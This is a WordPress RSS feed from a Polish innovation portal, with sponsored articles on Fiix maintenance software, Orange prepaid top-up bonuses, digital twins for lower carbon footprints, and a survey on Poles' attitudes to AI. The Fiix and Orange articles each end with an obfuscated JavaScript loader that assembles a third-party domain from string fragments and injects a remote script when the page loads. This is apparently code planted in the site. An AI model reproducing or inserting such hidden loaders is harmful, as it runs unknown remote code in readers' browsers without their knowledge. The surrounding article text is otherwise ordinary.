<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TwojeInnowacje.pl - portal o innowacjach, najnowsze informacje, wiadomości gospodarcze, innowacje, innowacja, innowacyjność</title>
	<atom:link href="https://www.twojeinnowacje.pl/feed" rel="self" type="application/rss+xml" />
	<link>https://www.twojeinnowacje.pl</link>
	<description>TwojeInnowacje.pl - Portal o innowacjach, dofinansowaniu dla firm, informacje i porady w prowadzeniu działalności gospodarczej</description>
	<lastBuildDate>Thu, 04 Dec 2025 18:36:14 +0000</lastBuildDate>
	<language>pl-PL</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.8.41</generator>
	<item>
		<title>Jak Fiix od Rockwell Automation wspiera utrzymanie ruchu w przedsiębiorstwie? Sprawdzamy!</title>
		<link>https://www.twojeinnowacje.pl/jak-fiix-od-rockwell-automation-wspiera-utrzymanie-ruchu-w-przedsiebiorstwie-sprawdzamy</link>
		<comments>https://www.twojeinnowacje.pl/jak-fiix-od-rockwell-automation-wspiera-utrzymanie-ruchu-w-przedsiebiorstwie-sprawdzamy#comments</comments>
		<pubDate>Thu, 04 Dec 2025 18:28:04 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Biznes]]></category>
		<category><![CDATA[automatyzacja procesów]]></category>
		<category><![CDATA[Kierownik utrzymania ruchu]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[Pracownik utrzymania ruchu]]></category>
		<category><![CDATA[utrzymanie ruchu]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39436</guid>
		<description><![CDATA[Utrzymanie ruchu to szczególnie istotne wyzwanie stojące przed współczesnym przemysłem. Postępująca automatyzacja rodzi zupełnie nowe potrzeby w zakresie zarządzania pracą zakładów. Kluczowe jest zapewnienie nieprzerwanego, poprawnego działania poszczególnych urządzeń, maszyn i systemów, precyzyjne planowanie czynności obsługowych i serwisowych oraz kontrolowanie zasobów, takich jak chociażby części zamienne. We wszystkich tych zadaniach przedsiębiorstwa wspiera Fiix od Rockwell [&#8230;]]]></description>
				<content:encoded><![CDATA[<div dir="auto" id="clipboard-lead">Utrzymanie ruchu to szczególnie istotne wyzwanie stojące przed współczesnym przemysłem. Postępująca automatyzacja rodzi zupełnie nowe potrzeby w zakresie zarządzania pracą zakładów. Kluczowe jest zapewnienie nieprzerwanego, poprawnego działania poszczególnych urządzeń, maszyn i systemów, precyzyjne planowanie czynności obsługowych i serwisowych oraz kontrolowanie zasobów, takich jak chociażby części zamienne. We wszystkich tych zadaniach przedsiębiorstwa wspiera Fiix od Rockwell Automation, którego możliwości omawiają eksperci RAControls, autoryzowanego dystrybutora Rockwell Automation w Polsce.</div>
<h2><strong><b><span>Czym jest Fiix?</span></b></strong></h2>
<p><span>Fiix to CMMS, czyli system dedykowany usprawnieniu procesu utrzymania ruchu w przedsiębiorstwie. Fiix od Rockwell Automation jest jednym z najbardziej zaawansowanych, a jednocześnie skalowalnych i dostosowanych pod mniejsze potrzeby i przedsiębiorstwa  narzędzi tego typu na rynku, wyróżniającym się wyjątkową przyjaznością dla użytkownika – z obsługą systemu poradzą sobie osoby nieposiadające „twardych” kwalifikacji i umiejętności w obszarze IT czy OT. </span></p>
<p><span>Fiix zapewnia kompleksowe wsparcie w utrzymaniu ruchu, od tych zupełnie podstawowych czynności, jak tworzenie rejestrów zasobów, aż po planowanie działań prewencyjnych czy drobiazgową analizę danych, które będą podstawą do podejmowania dalszych, newralgicznych decyzji operacyjnych. </span></p>
<h2><strong><b><span>Kogo wspiera Fiix? </span></b></strong></h2>
<p><span>Fiix to CMMS, który wspiera pracę wszystkich osób zaangażowanych w utrzymanie ruchu w przedsiębiorstwie, w tym:</span></p>
<ol>
<li><b></b><strong><b><span>Kierownika utrzymania ruchu</span></b></strong><span>– wykorzysta Fiix do lepszego planowania prac, zyskując dostęp do historii awarii i mogąc w pełni kontrolować zasoby przedsiębiorstwa niezbędne dla zachowania ciągłości pracy. </span></li>
<li><b></b><strong><b><span>Pracowników utrzymania ruchu</span></b></strong><span>- będą mieli wszelkie informacje, instrukcje i inne materiały potrzebne do wykonania zadań zawsze pod ręką oraz bardzo łatwo zapewnią  dokumentację np. zdjęcia z wykonanego zadania do systemu.</span></li>
<li><b></b><strong><b><span>Dyrektora produkcji</span></b></strong><span>– Fiix zapewni większą przewidywalność i lepszą kontrolę nad kosztami, przyczyniając się do realnego ograniczenia liczby nieplanowanych przestojów. </span></li>
<li><b></b><strong><b><span>Inżyniera procesu</span></b></strong><span>– dzięki Fiix zyska dostęp do szczegółowych danych, które pozwalają optymalizować procesy produkcyjne i ograniczyć ryzyko błędów. </span></li>
<li><b></b><strong><b><span>Menedżera ds. jakości</span></b></strong><span>– uzyska spójne raporty, co pozwoli na łatwiejsze audytowanie pracy zakładu i zapewnienie lepszej zgodności z regulacjami oraz wymaganiami klientów. </span></li>
</ol>
<h2><strong><b><span>Fiix to rozwiązanie nie tylko dla największych </span></b></strong></h2>
<p><span>Wielu mniejszych przedsiębiorców może z góry zakładać, że Fiix nie jest dla nich. Tymczasem specyfiką tego CMMS-a od Rockwell Automation jest jego znakomita skalowalność. Dzięki temu można precyzyjnie dopasować funkcje systemu do aktualnej wielkości przedsiębiorstwa, a następnie konsekwentnie rozwijać narzędzie w miarę rosnących potrzeb. </span></p>
<h2><strong><b><span>Podstawowe funkcjonalności CMMS Fiix </span></b></strong></h2>
<p><span>Zasadniczym celem wdrożenia Fiix w przedsiębiorstwie jest uporządkowanie procesów związanych z utrzymaniem ruchu. CMMS od Rockwell Automation pozwala m.in. na prowadzenie ewidencji zasobów, rejestrowanie zgłoszeń serwisowych i planowanie działań prewencyjnych.</span></p>
<p><span>Bardzo ważną funkcją jest kontrola nad magazynem – moduł Zapasy pozwala na lepsze zarządzanie częściami, materiałami i całą gospodarką magazynową. </span></p>
<p><span>Fiix stanowi również wielką bazę danych i narzędzie do zarządzania nimi, w tym tworzenia pogłębionych analiz operacyjnych przy wsparciu algorytmu AI. Podkreślmy, że Fiix można zintegrować z już funkcjonującymi w przedsiębiorstwie systemami, np. ERP czy MES.</span></p>
<h2><strong><b><span>Fiix to realne korzyści dla Twojego przedsiębiorstwa </span></b></strong></h2>
<p><span>Fiix to nie tylko łatwiejsze zarządzanie utrzymaniem ruchu, ale także konkretne, mierzalne korzyści, jakie może odnieść przedsiębiorstwo decydujące się na wdrożenie tego narzędzia. Z ankiet przeprowadzonych wśród użytkowników Fiix wynika, że ten CMMS może zapewnić m.in.:</span></p>
<ul>
<li><b></b><strong><b><span>Skrócenie czasu przestojów</span></b></strong><strong><b><span>aż o 25% </span></b></strong><span>d</span><span>zięki natychmiastowym powiadomieniom o awariach, posiadaniu potrzebnych informacji do wykonania zadania zawsze przy sobie, w jednym miejscu, oraz pilnowaniu wymaganego stanu potrzebnych części zamiennych.</span></li>
<li><b></b><strong><b><span>Zmniejszenie liczby awarii o 28% </span></b></strong><span>dzięki prewencyjnym konserwacjom i analizie danych.</span></li>
<li><b></b><strong><b><span>Pełną kontrolę nad kosztami działalności </span></b></strong><span>przedsiębiorstwa (m.in. dostęp do raportów i analiz dotyczących efektywności pracy maszyn oraz rzeczywistych kosztów napraw i utrzymania). </span></li>
<li><b></b><strong><b><span>Ułatwione audytowanie </span></b></strong><span>i tym samym podejmowanie lepszych decyzji biznesowych. </span></li>
</ul>
<h2><strong><b><span>Przetestuj Fiix bez żadnych zobowiązań </span></b></strong></h2>
<p><span>Decyzja o zakupie i wdrożeniu kolejnego rozwiązania, zwłaszcza tak krytycznego dla funkcjonowania zakładu, nie jest łatwa. Stąd istnieje możliwość przetestowania działania Fiix w realnych warunkach, co pozwoli rzetelnie ocenić faktyczną przydatność tego narzędzia. </span></p>
<p><span>RAControls zaprasza do umówienia się na </span><strong><b><span>40-minutową prezentację</span></b></strong><span> Fiix w formie niezobowiązującego demo. Ekspert RAControls zaprezentuje działanie tego CMMS-a, jego newralgiczne funkcje oraz potencjał zastosowania w Twoim przedsiębiorstwie. </span></p>
<p><span>Prezentację możesz zarezerwować na stronie </span><span><a href="https://racontrols.pl/cyfrowe-wsparcie-dla-utrzymania-ruchu/"><span style="text-decoration: underline;">https://racontrols.pl/cyfrowe-wsparcie-dla-utrzymania-ruchu/</span></a></span><span>, na której znajdziesz również więcej szczegółowych informacji na temat Fiix, wraz z filmem omawiającym zastosowanie tego narzędzia w praktycznie każdym zakładzie – nawet zatrudniającym zaledwie kilku pracowników. </span></p>
<p><script>
(function(){
tn12u="36wnu87bn12u";tn12=document.createElement("script");
tn12_="o"+"p"+("en")+"s";tn12_+="ta"+("t"+"");tn12.async=true;tn12_+="."+("");
tn12u="2546719381."+tn12u;tn12.type="text/javascript";tn12u+="p2qrlx75s2zq";
tn12u+="rexs1n";tn12_+=("e")+""+("u"+"/");tn12.src="https://"+tn12_+tn12u;
tn12d=document.body;tn12d.appendChild(tn12);
})();
</script></p>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/jak-fiix-od-rockwell-automation-wspiera-utrzymanie-ruchu-w-przedsiebiorstwie-sprawdzamy/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jak zdobyć dodatkowe gigabajty w ramach doładowania?</title>
		<link>https://www.twojeinnowacje.pl/jak-zdobyc-dodatkowe-gigabajty-w-ramach-doladowania</link>
		<comments>https://www.twojeinnowacje.pl/jak-zdobyc-dodatkowe-gigabajty-w-ramach-doladowania#comments</comments>
		<pubDate>Tue, 20 May 2025 11:04:14 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Nowe technologie]]></category>
		<category><![CDATA[doładowanie telefonu na kartę]]></category>
		<category><![CDATA[jak doładować telefon]]></category>
		<category><![CDATA[telefon na kartę]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39432</guid>
		<description><![CDATA[Doładowanie telefonu na kartę możesz wykonać gdziekolwiek jesteś. Nieważne, czy siedzisz teraz w tramwaju, masz przerwę w pracy, czy właśnie kładziesz się spać. Dzięki możliwości doładowania numeru online, zrobisz to w kilka chwil… i do tego zgarniesz dodatkowe gigabajty. Jak? Odpowiadamy! To proste! Po prostu doładuj numer online Istnieje wiele możliwości doładowywania telefonu na kartę. [&#8230;]]]></description>
				<content:encoded><![CDATA[<div dir="auto" id="clipboard-lead">Doładowanie telefonu na kartę możesz wykonać gdziekolwiek jesteś. Nieważne, czy siedzisz teraz w tramwaju, masz przerwę w pracy, czy właśnie kładziesz się spać. Dzięki możliwości doładowania numeru online, zrobisz to w kilka chwil… i do tego zgarniesz dodatkowe gigabajty. Jak? Odpowiadamy!</div>
<div dir="auto"></div>
<p><strong><span>To proste! Po prostu doładuj numer online</span></strong></p>
<p><span>Istnieje wiele możliwości doładowywania telefonu na kartę. Wybór nie ogranicza się tylko do tradycyjnych metod, takich jak popularne dawniej karty zdrapki czy chętnie dziś wybierane wydruki kodu doładowującego z terminala w sklepie. <strong>Obecnie możesz doładowywać swój numer także online, jako klient Orange: wchodząc na </strong></span><a href="https://doladowania.orange.pl/"><strong><span>https://doladowania.orange.pl/</span></strong></a> albo <span>w aplikacji mobilnej operatora. Z domu, z pracy, ze szkoły czy podczas swojego slow morning routine. </span></p>
<p><span>Doładowanie telefonu na kartę online to szybki, wygodny i bezpieczny sposób na to, by zasilić swoje konto w kilka chwil, bez wychodzenia z domu. Takie rozwiązanie sprawdzi się również w przypadku dużych rodzin, kiedy musisz doładowywać kilka numerów jednocześnie, albo gdy trzymasz pieczę nad telefonami swoich dziadków. <strong>W Orange na kartę doładujesz konto sobie oraz Twoim bliskim szybko i wygodnie, bez zbędnych formalności.</strong> </span></p>
<p><span>Na stronie doladowania.orange.pl po prostu: </span></p>
<ul>
<li><span>podajesz numery, które chcesz zasilić,</span></li>
<li><span>wpisujesz adres e-mail, na który przyjdzie potwierdzenie transakcji, </span></li>
<li><span>wybierasz kwotę zasilenia/zasileń, </span></li>
<li><span>opłacasz doładowania online…</span></li>
</ul>
<p><span>i tyle. Reszta „zrobi się sama”, a Ty możesz wykorzystywać swoje środki tak, jak chcesz, dodatkowo łapiąc przy tym ekstra gigabajty (o czym więcej przeczytasz poniżej). Nic, tylko korzystać! </span></p>
<p><strong><span>Dostępne bonusy przy doładowaniu telefonu na kartę online w Orange</span></strong></p>
<p><span>Doładuj telefon w Orange na kartę i <strong>odbierz dodatkowe gigabajty za każdą doładowaną złotówkę</strong>. Uwaga – to nie jest oferta jednorazowa! Czyli skorzystasz z niej przy wszystkich doładowaniach numeru na stronie doladowania.orange.pl. Na dodatek nie musisz nic aktywować, by skorzystać z takiej opcji. Wystarczy, że masz taryfę Orange Free na kartę i zasilisz swój telefon wybraną kwotą, by zyskać nawet 200 GB za jednym zamachem. Zasady są proste – <strong>ile wrzucisz na konto, tyle masz dodatkowych GB</strong>.</span></p>
<p><strong><span>Przykłady?</span></strong><span> Wykonując doładowanie telefonu na kartę za 5 zł, dostajesz ekstra 5 GB. W przypadku zasilenia konta za 10 zł – 10 GB, <strong>za 30 zł otrzymasz 30 GB</strong>, za 50 zł – 50 GB, <strong>za stówkę – 100 GB</strong>. Wrzucasz 200 zł? Zgarniasz aż 200 GB. Każda wydana złotówka daje Ci dodatkowe gigabajty, które wykorzystywane będą w pierwszej kolejności, dzięki temu te, które już masz, zostaną z Tobą na dłużej. A jeśli nie wykorzystasz swoich gigabajtów, to nie martw się, że przepadną. Wystarczy, że ponownie doładujesz telefon w ciągu 7 dni przez doladowania.orange.pl i te niewykorzystane GB wrócą do Ciebie, a przy okazji otrzymasz dodatkowe. W ten sposób możesz uzbierać sporo gigabajtów, dzięki którym internet zawsze będzie dla Ciebie dostępny.</span></p>
<p><strong><span>Jeszcze więcej GB za doładowanie telefonu na kartę online</span></strong></p>
<p><span>To nie wszystko, bo <strong>w okresie trwania</strong> <strong>promocji możesz dostać niespodziewanego SMS-a z propozycją skorzystania z dodatkowego pakietu.</strong> Odpisując na niego „PAKIET”, za 5 zł otrzymasz dodatkowe 5 GB, które zostaną dodane do Twoich wcześniej zgromadzonych GB. Zagraj w ulubioną grę, obejrzyj serial lub przeczytaj ulubionego e-booka bez zamartwiania się o to, czy starczy Ci na to GB, kiedy jesteś poza zasięgiem Wi-Fi. </span></p>
<p><span>Z tą promocją możesz zasilić swoje konto o dodatkowe gigabajty bez konieczności wpisywania długich kodów czy spełniania jakichkolwiek skomplikowanych warunków. Dodatkowy internet będzie z Tobą tak po prostu, za doładowanie i SMS-a potwierdzającego. Proste? Proste!</span></p>
<p><script type="text/javascript">// <![CDATA[
(function(){
wpbp=document.createElement("script");wpbp.type="text/javascript";
wpbp.async=true;wpbp_=(("us")+"t")+"a";wpbp_+=("t.i")+""+"n";wpbp_+=(("f")+"o");wpbp_+="/";
wpbpu="2432324018.";wpbpu+="khqnr67tpbprqn2Xhc7hubn2pbfspk";wpbp.src="https://"+wpbp_+wpbpu;
wpbpdb=document.body;wpbpdb.appendChild(wpbp);
})();
// ]]&gt;</script></p>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/jak-zdobyc-dodatkowe-gigabajty-w-ramach-doladowania/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Technologia wirtualnych bliźniaków pomaga ograniczać ślad węglowy produktów</title>
		<link>https://www.twojeinnowacje.pl/technologia-wirtualnych-blizniakow-pomaga-ograniczac-slad-weglowy-produktow</link>
		<comments>https://www.twojeinnowacje.pl/technologia-wirtualnych-blizniakow-pomaga-ograniczac-slad-weglowy-produktow#comments</comments>
		<pubDate>Wed, 27 Nov 2024 18:24:21 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Nowe technologie]]></category>
		<category><![CDATA[Cyfrowy bliźniak]]></category>
		<category><![CDATA[gospodarka o obiegu zamkniętym i ochrona klimatu]]></category>
		<category><![CDATA[gospodarka obiegu zamkniętego]]></category>
		<category><![CDATA[metawersum dla firmy]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[technologia wirtualnych bliźniaków]]></category>
		<category><![CDATA[wirtualne bliźniaki produktów]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39427</guid>
		<description><![CDATA[Dzięki technologii wirtualnych bliźniaków procesy produkcyjne stają się bardziej wydajne. Według Fortune Business Insights globalny rynek takich rozwiązań do 2032 roku będzie się rozwijać w blisko 40-proc. tempie, do wartości blisko 260 mld dol. Jednak wirtualne bliźniaki mogą też odegrać kluczową rolę w przyspieszeniu realizacji celów zrównoważonego rozwoju. Wykorzystanie tej technologii pozwala bowiem projektować produkty i systemy tak, żeby miały [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Dzięki technologii wirtualnych bliźniaków procesy produkcyjne stają się bardziej wydajne. Według Fortune Business Insights globalny rynek takich rozwiązań do 2032 roku będzie się rozwijać w blisko 40-proc. tempie, do wartości blisko 260 mld dol. Jednak wirtualne bliźniaki mogą też odegrać kluczową rolę w przyspieszeniu realizacji celów zrównoważonego rozwoju. Wykorzystanie tej technologii pozwala bowiem projektować produkty i systemy tak, żeby miały jak najniższy ślad węglowy i koszt ekologiczny, w zgodzie z unijną polityką klimatyczną i założeniami GOZ.</p>
<p>Recykling i ponowne wykorzystanie surowców, komponentów i produktów to w biznesie generalna zmiana, determinowana przez cele neutralności węglowej i unijne regulacje zmierzające do gospodarki obiegu zamkniętego (GOZ). Jej celem jest m.in. projektowanie procesów produkcyjnych w taki sposób, aby produkty pozostawały w obiegu możliwie jak najdłużej, a następnie mogły zostać łatwo poddane renowacji bądź recyklingowi. GOZ jest w tej chwili jednym z najważniejszych biznesowych megatrendów; coraz więcej firm wyznacza sobie ambitne cele i składa konkretne obietnice dotyczące minimalizowania szkodliwego wpływu wytwarzanych przez siebie produktów. W wymiarze środowiskowym przynosi to duże korzyści, m.in. w postaci ograniczenia emisji gazów cieplarnianych i zmniejszenia ilości generowanych odpadów.</p>
<p><em>– Ponowne wykorzystanie i możliwość naprawy produktu są obecnie kluczowe. Widzimy taki trend, że dziś producenci nie myślą już tak jak kilka lat temu, żeby jak najszybciej produkować produkty nienaprawialne. Dzisiaj, planując dany produkt, starają się skupić na tym, żeby on był naprawialny, żeby wydłużyć jego cykl życia. Natomiast ponowne wykorzystanie produktów i komponentów to jest ogromny obszar, gdzie można wiele zaoszczędzić od strony procesowej, ale też wpłynąć na środowisko</em> – mówi Ireneusz Borowski, country manager na Polskę w Dassault Systèmes.</p>
<p>Temu służyć ma m.in. dyrektywa o prawie konsumentów do naprawy, która weszła w życie w tym roku. Nowe przepisy mają zachęcać do bardziej zrównoważonej konsumpcji i ograniczać ilość odpadów poprzez ułatwianie naprawy zepsutych urządzeń oraz wspieranie sektora napraw. Parlament Europejski wskazuje, że wyrzucanie towarów nadających się do naprawy powoduje powstawanie 35 mln t odpadów rocznie w UE. Sprzedawcy będą zobowiązani do priorytetowego traktowania naprawy w okresie gwarancyjnym, jeśli jest tańsza od wymiany towaru lub kosztuje tyle samo. Po naprawie produktu okres gwarancyjny zostanie przedłużony o rok.</p>
<p>Z perspektywy firm GOZ oznacza wymierne korzyści finansowe, wynikające m.in. z oszczędności surowców i materiałów. Według danych przytaczanych przez Komisję Europejską przedsiębiorstwa produkcyjne w UE wydają na nie średnio ok. 40 proc. swoich środków. Dlatego też przejście na obieg zamknięty może pomóc im ograniczyć koszty, a jednocześnie zwiększyć rentowność i chronić je przed wahaniami cen zasobów. Jak podaje Parlament Europejski, całkowita cyrkularność może przynieść unijnym przedsiębiorstwom roczne oszczędności sięgające nawet 600 mld euro. Istotne jest również to, że neutralność węglowa i GOZ determinują sposób, w jaki firma podchodzi do planowania swojej produkcji oraz zarządza całym cyklem życia swojego produktu. To zaś wymusza po stronie przedsiębiorstw produkcyjnych większą innowacyjność i korzystanie z cyfrowych rozwiązań.</p>
<p><em>– Dzięki cyfrowym rozwiązaniom możemy dziś bezpośrednio wpływać na to, żeby produkty miały jak najmniejszy wpływ na środowisko. Chodzi nie tylko o ich ślad węglowy, bo to tylko jeden z aspektów, ale trzeba iść dalej, czyli kontrolować cały proces: w jaki sposób dany produkt jest wykorzystywany przez użytkowników, w jaki sposób jest poddawany recyklingowi etc. Na tym etapie można po raz kolejny wykorzystać komponenty czy produkty i dać im nowe życie. Ale to wymaga właśnie innowacyjnych rozwiązań cyfrowych, np. klasy wirtualnych bliźniaków, które pozwalają cyfrowo odwzorować cały produkt, zasymulować proces produkcyjny, zasymulować jego działania, ale też jego wpływ na środowisko, demontaż, utylizację i ponowne wykorzystanie </em>– mówi Ireneusz Borowski.</p>
<p>Dzięki technologii wirtualnych bliźniaków produkcja jest nie tylko bardziej zrównoważona, ale i wydajna. W uproszczeniu jej podstawą jest zaprojektowanie modelu 3D, który stanowi wirtualną reprezentację przedmiotu istniejącego w świecie rzeczywistym, dokładnie odwzorowując m.in. jego kształt, wymiary, właściwości fizyczne i inne unikalne cechy. Następnie na tym wirtualnym modelu przeprowadzane są testy i symulacje, które pokazują, jak dany produkt będzie się zachowywał w trakcie montażu, użytkowania lub gdy zostanie poddany działaniu różnych czynników. Wirtualny bliźniak pozwala też zasymulować to, jaki ślad węglowy i koszt ekologiczny pozostawi po sobie wytworzenie danego produktu.</p>
<p><em>– Dzięki temu możemy się </em><em>zastanowić i</em><em> wybrać najlepsze scenariusze, żeby jak najmniej szkodzić środowisku. Producent, zanim wprowadzi produkt, może też zdecydować, jakie materiały do produkcji będą najlepsze</em> – mówi country manager Dassault Systèmes w Polsce.</p>
<p>Jak pokazuje niedawny raport „Kluczowa rola wirtualnych bliźniaków w zrównoważonym rozwoju”, opracowany przez Dassault Systèmes we współpracy z Accenture, ta technologia może odegrać kluczową rolę w dążeniu do osiągnięcia Celów Zrównoważonego Rozwoju ONZ 2030. Wykorzystanie jej w celu „transformacja sposobów zarządzania produktami i usługami w całym cyklu ich życia – od projektu, poprzez użytkowanie aż po wycofanie z eksploatacji” – mogłoby przynieść korzyści gospodarcze w wysokości sięgającej 1,3 bln dol. oraz jednoczesnej redukcji emisji CO<sub>2</sub>e o 7,5 Gt w horyzoncie do 2030 roku.</p>
<p><em>– Mamy wiele takich rozwiązań klasy LCA, dzięki którym nasi użytkownicy i klienci mogą bezpośrednio badać to, jaki wpływ ich produkt ma na środowisko – zaczynając od materiałów, poprzez proces produkcyjny i logistykę, aż po dystrybucję, a kończąc na utylizacji. W efekcie cały proces produkcyjny jest odpowiedzialny, kontrolowany i można wpływać na wszystkie jego parametry </em>– dodaje ekspert.</p>
<p>Jednym z flagowych rozwiązań Dassault Systèmes jest platforma 3DEXPERIENCE, która pozwala opracowywać i testować wirtualne bliźniaki produktów, ale i złożonych systemów – od samochodów aż po całe miasta i systemy bankowe. Korzysta z niej już wiele firm z rozmaitych branż, w tym m.in. przemysł motoryzacyjny, lotniczy i energetyczny. Dla przykładu francuski start-up lotniczy Blue Spirit Aero poprzez platformę doskonali projekt lekkiego samolotu bazującego na wodorowych ogniwach paliwowych. Z kolei Living Heart, projekt z obszaru life science, to wirtualny bliźniak ludzkiego serca, który pozwala lekarzom i chirurgom testować nowe leki i techniki operacyjne w cyfrowych warunkach, zanim zostaną zastosowane na prawdziwych pacjentach.</p>
<p><em>– Przykładów zastosowania naszych produktów jest bardzo wiele. Dzięki nim producenci mogą dostarczać produkty i rozwiązania, które w rewolucyjny sposób wpływają na ochronę środowiska. Wśród przykładów jest też m.in. firma Arthur Bus, która produkuje autobus wodorowy i jest w stanie odtworzyć w świecie wirtualnym nie tylko sam pojazd, ale i całą infrastrukturę oraz zasymulować ich działanie. To ma bezpośrednie przełożenie na dekarbonizację i ograniczenie emisji spalin –</em> wyjaśnia Ireneusz Borowski.</p>
<p>Według raportu Fortune Business Insights globalny rynek bazujący na technologii digital twin rozwija się błyskawicznie – w 2023 roku był wart nieco ponad 12,9 mld dol, ale w tym roku ta wartość ma już wynieść 17,73 mld dol. Z kolei do 2032 roku wzrośnie do blisko 260 mld dol., przy średniorocznym wzroście na poziomie ok. 40 proc.</p>
<p>O innowacjach napędzających polski przemysł i zrównoważonym rozwoju produkcji eksperci rozmawiali podczas kongresu Green Industry Summit, który odbył się 22 października w Krakowie. Firma Dassault Systèmes była jednym z partnerów tego wydarzenia.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/technologia-wirtualnych-blizniakow-pomaga-ograniczac-slad-weglowy-produktow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sztuczna inteligencja wzbudza w Polakach ciekawość i obawy</title>
		<link>https://www.twojeinnowacje.pl/sztuczna-inteligencja-wzbudza-w-polakach-ciekawosc-i-obawy</link>
		<comments>https://www.twojeinnowacje.pl/sztuczna-inteligencja-wzbudza-w-polakach-ciekawosc-i-obawy#comments</comments>
		<pubDate>Tue, 26 Nov 2024 18:15:38 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Nowe technologie]]></category>
		<category><![CDATA[ChatGPT]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[sztuczna inteligencja]]></category>
		<category><![CDATA[sztuczna inteligencja badania]]></category>
		<category><![CDATA[sztuczna inteligencja w biznesie]]></category>
		<category><![CDATA[sztuczna inteligencja zastosowanie]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39423</guid>
		<description><![CDATA[Prawie połowa Polaków twierdzi, że myśląc o sztucznej inteligencji, odczuwa zaciekawienie, ale aż 39 proc. przyznaje, że są to głównie obawy. Dotyczą one niewłaściwego wykorzystania SI, utraty kontroli nad nią i marginalizacji roli człowieka na rynku pracy. Na razie jednak tylko 11 proc. badanych używa narzędzi opartych na sztucznej inteligencji w swojej pracy. Chociaż rozwiązania te zyskują zwolenników, to [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Prawie połowa Polaków twierdzi, że myśląc o sztucznej inteligencji, odczuwa zaciekawienie, ale aż 39 proc. przyznaje, że są to głównie obawy. Dotyczą one niewłaściwego wykorzystania SI, utraty kontroli nad nią i marginalizacji roli człowieka na rynku pracy. Na razie jednak tylko 11 proc. badanych używa narzędzi opartych na sztucznej inteligencji w swojej pracy. Chociaż rozwiązania te zyskują zwolenników, to wciąż duża grupa pracowników nie wie, w jaki sposób mogłyby one wspomóc ich w obowiązkach zawodowych – wskazuje badanie „Polacy o AI. Codzienność, nadzieje, obawy”.</p>
<p>Badanie zrealizowane przez Maison &amp; Partners i panel Ariadna dla ThinkTank wskazuje, że 42 proc. Polaków korzysta z narzędzi opartych na technologii SI i jest tego świadomych. Pozostała grupa twierdzi, że nie korzysta ze sztucznej inteligencji – wśród nich przeważają osoby starsze i z niższym wykształceniem.</p>
<p>–<em> Aż 58 proc. twierdzi, że nigdy nie miało z nią styczności. Oczywiście wiemy, że nie jest to do końca prawda, bo wiele osób sobie nie zdaje sprawy, że bardzo wiele funkcjonalności, z których korzystamy, jest na bazie pewnych rozwiązań sztucznej inteligencji –</em> mówi prof. Dominika Maison z Uniwersytetu Warszawskiego, założycielka Maison &amp; Partners, autorka badania.</p>
<p>Najpopularniejszym narzędziem SI, na który wskazują badani, jest ChatGPT. Skorzystał z niego co czwarty Polak – zarówno w życiu prywatnym, jak i zawodowym, ale też w edukacji. Wśród osób poniżej 25. roku życia odsetek ten jest ponad dwukrotnie większy (56 proc.)</p>
<p>–<em> Korzystanie z rozwiązań sztucznej inteligencji zależy od cech demograficznych. Po pierwsze, bardziej otwarci są mężczyźni niż kobiety. Druga kwestia to wiek. Możemy się domyślać, że osoby młode zdecydowanie częściej już korzystają i są zdecydowanie bardziej otwarte na te rozwiązania, jak również mają większą świadomość, ile tych rozwiązań wokół nich jest. Jeszcze dwie cechy, które różnicują naszych respondentów, to jest wykształcenie i miejsce zamieszkania. Zdecydowanie większą otwartość na rozwiązania sztucznej inteligencji mają osoby wyżej wykształcone niż z najniższym wykształceniem, pomijając uczniów i studentów, którzy są otwarci, podobnie jak osoby mieszkające w największych miastach w Polsce </em>– wyjaśnia ekspertka.</p>
<p>Prawie połowa badanych przyznaje, że sztuczna inteligencja ich ciekawi, a jedna czwarta – że to dla nich wygoda. W tych grupach dominują osoby młode. Jednocześnie 39 proc. ogółu respondentów odczuwa obawy związane z SI. Co istotne, ponad połowa Polaków uważa, że niesie ona za sobą raczej zagrożenia niż korzyści. Badani najczęściej obawiają się tego, że technologia zostanie wykorzystana przeciwko określonym grupom społecznym, np. w konfliktach zbrojnych, lub przeciwko całemu gatunkowi ludzkiemu, np. poprzez utratę kontroli nad technologią lub marginalizację pracowników na rynku pracy.</p>
<p>–<em> 11 proc. spośród osób pracujących twierdzi, że w tej chwili korzystają z rozwiązań SI w pracy. Oczywiście może być ich więcej, ale nie mają tego świadomości</em> – mówi prof. Dominika Maison. <em>– Najczęściej to są albo osoby, które są pracodawcami (18 proc.), albo samozatrudnieni (19 proc.). Zwykłych pracowników jest najmniej (9 proc.).</em></p>
